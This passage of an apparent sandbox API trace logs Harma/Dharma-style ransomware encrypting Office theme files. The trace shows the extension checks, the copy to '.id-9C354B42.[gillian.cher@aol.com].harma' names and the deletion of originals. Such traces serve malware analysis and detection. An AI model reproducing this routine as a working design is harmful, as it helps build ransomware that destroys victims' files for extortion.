(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.008] lstrlenW (lpString=".1cd") returned 4 [0058.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0058.009] lstrlenW (lpString=".jpg") returned 4 [0058.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.009] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0058.009] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0058.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.009] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=25106) returned 1 [0058.009] CloseHandle (hObject=0x1fc) returned 1 [0058.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0058.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.010] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.010] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.010] GetLastError () returned 0x0 [0058.010] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x6212, lpOverlapped=0x0) returned 1 [0058.013] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x6220, lpOverlapped=0x0) returned 1 [0058.014] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.014] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.014] SetEndOfFile (hFile=0x164) returned 1 [0058.014] CloseHandle (hObject=0x164) returned 1 [0058.014] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.014] SetEndOfFile (hFile=0x1fc) returned 1 [0058.015] CloseHandle (hObject=0x1fc) returned 1 [0058.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0058.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.016] lstrlenW (lpString=".doc") returned 4 [0058.016] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.016] lstrlenW (lpString=".docx") returned 5 [0058.016] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.016] lstrlenW (lpString=".pdf") returned 4 [0058.016] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.016] lstrlenW (lpString=".xls") returned 4 [0058.016] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.016] lstrlenW (lpString=".xlsx") returned 5 [0058.016] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.016] lstrlenW (lpString=".ppt") returned 4 [0058.016] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.016] lstrlenW (lpString=".zip") returned 4 [0058.016] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.016] lstrlenW (lpString=".rar") returned 4 [0058.016] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.016] lstrlenW (lpString=".bz2") returned 4 [0058.017] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString=".7z") returned 3 [0058.017] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString=".dbf") returned 4 [0058.017] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString=".1cd") returned 4 [0058.017] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString=".jpg") returned 4 [0058.017] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString=".doc") returned 4 [0058.017] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString=".docx") returned 5 [0058.017] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.017] lstrlenW (lpString=".pdf") returned 4 [0058.017] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.017] lstrlenW (lpString=".xls") returned 4 [0058.017] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.017] lstrlenW (lpString=".xlsx") returned 5 [0058.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.017] lstrlenW (lpString=".ppt") returned 4 [0058.017] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.017] lstrlenW (lpString=".zip") returned 4 [0058.017] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.017] lstrlenW (lpString=".rar") returned 4 [0058.018] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.018] lstrlenW (lpString=".bz2") returned 4 [0058.018] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.018] lstrlenW (lpString=".7z") returned 3 [0058.018] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.018] lstrlenW (lpString=".dbf") returned 4 [0058.018] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.018] lstrlenW (lpString=".1cd") returned 4 [0058.018] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0058.018] lstrlenW (lpString=".jpg") returned 4 [0058.018] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.018] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0058.018] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0058.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.019] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=1347) returned 1 [0058.019] CloseHandle (hObject=0x1fc) returned 1 [0058.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0058.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.020] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.020] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.021] GetLastError () returned 0x0 [0058.021] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x543, lpOverlapped=0x0) returned 1 [0058.023] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x550, lpOverlapped=0x0) returned 1 [0058.024] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.024] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xea, lpOverlapped=0x0) returned 1 [0058.024] SetEndOfFile (hFile=0x164) returned 1 [0058.024] CloseHandle (hObject=0x164) returned 1 [0058.024] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.024] SetEndOfFile (hFile=0x1fc) returned 1 [0058.025] CloseHandle (hObject=0x1fc) returned 1 [0058.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.025] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0058.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.026] lstrlenW (lpString=".doc") returned 4 [0058.026] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.026] lstrlenW (lpString=".docx") returned 5 [0058.026] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.026] lstrlenW (lpString=".pdf") returned 4 [0058.026] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.026] lstrlenW (lpString=".xls") returned 4 [0058.026] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.026] lstrlenW (lpString=".xlsx") returned 5 [0058.026] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.026] lstrlenW (lpString=".ppt") returned 4 [0058.026] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.026] lstrlenW (lpString=".zip") returned 4 [0058.026] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.026] lstrlenW (lpString=".rar") returned 4 [0058.026] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.026] lstrlenW (lpString=".bz2") returned 4 [0058.026] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.026] lstrlenW (lpString=".7z") returned 3 [0058.026] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.026] lstrlenW (lpString=".dbf") returned 4 [0058.026] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.027] lstrlenW (lpString=".1cd") returned 4 [0058.027] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.027] lstrlenW (lpString=".jpg") returned 4 [0058.027] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.027] lstrlenW (lpString=".doc") returned 4 [0058.027] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0058.027] lstrlenW (lpString=".docx") returned 5 [0058.027] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0058.027] lstrlenW (lpString=".pdf") returned 4 [0058.027] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString=".xls") returned 4 [0058.027] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString=".xlsx") returned 5 [0058.027] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0058.027] lstrlenW (lpString=".ppt") returned 4 [0058.027] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.027] lstrlenW (lpString=".zip") returned 4 [0058.027] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString=".rar") returned 4 [0058.027] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0058.027] lstrlenW (lpString=".bz2") returned 4 [0058.028] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0058.028] lstrlenW (lpString=".7z") returned 3 [0058.028] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0058.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.028] lstrlenW (lpString=".dbf") returned 4 [0058.028] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0058.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.028] lstrlenW (lpString=".1cd") returned 4 [0058.028] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0058.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0058.028] lstrlenW (lpString=".jpg") returned 4 [0058.028] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0058.028] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0058.028] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0058.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.028] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32403) returned 1 [0058.029] CloseHandle (hObject=0x1fc) returned 1 [0058.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0058.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0058.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.029] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.029] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0058.029] GetLastError () returned 0x0 [0058.029] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x7e93, lpOverlapped=0x0) returned 1 [0058.031] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0058.033] ReadFile (in: hFile=0x1fc, lpBuffer=0x3700020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0058.033] WriteFile (in: hFile=0x164, lpBuffer=0x3700020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3700020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.033] SetEndOfFile (hFile=0x164) returned 1 [0058.033] CloseHandle (hObject=0x164) returned 1 [0058.033] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0058.034] SetEndOfFile (hFile=0x1fc) returned 1 [0058.034] CloseHandle (hObject=0x1fc) returned 1 [0058.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0058.035] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0058.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.035] lstrlenW (lpString=".doc") returned 4 [0058.035] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.035] lstrlenW (lpString=".docx") returned 5 [0058.035] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.035] lstrlenW (lpString=".pdf") returned 4 [0058.035] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.035] lstrlenW (lpString=".xls") returned 4 [0058.035] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.035] lstrlenW (lpString=".xlsx") returned 5 [0058.035] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.035] lstrlenW (lpString=".ppt") returned 4 [0058.035] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.035] lstrlenW (lpString=".zip") returned 4 [0058.035] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.035] lstrlenW (lpString=".rar") returned 4 [0058.035] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.036] lstrlenW (lpString=".bz2") returned 4 [0058.036] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString=".7z") returned 3 [0058.036] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString=".dbf") returned 4 [0058.036] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString=".1cd") returned 4 [0058.036] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString=".jpg") returned 4 [0058.036] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString=".doc") returned 4 [0058.036] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString=".docx") returned 5 [0058.036] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0058.036] lstrlenW (lpString=".pdf") returned 4 [0058.036] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0058.036] lstrlenW (lpString=".xls") returned 4 [0058.036] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0058.036] lstrlenW (lpString=".xlsx") returned 5 [0058.036] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0058.036] lstrlenW (lpString=".ppt") returned 4 [0058.036] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0058.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0058.036] lstrlenW (lpString=".zip") returned 4 [0058.036] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0058.036] lstrlenW (lpString=".rar") returned 4 [0058.037] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0058.037] lstrlenW (lpString=".bz2") returned 4 [0058.037] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0058.037] lstrlenW (lpString=".7z") returned 3 [0058.037] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0058.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 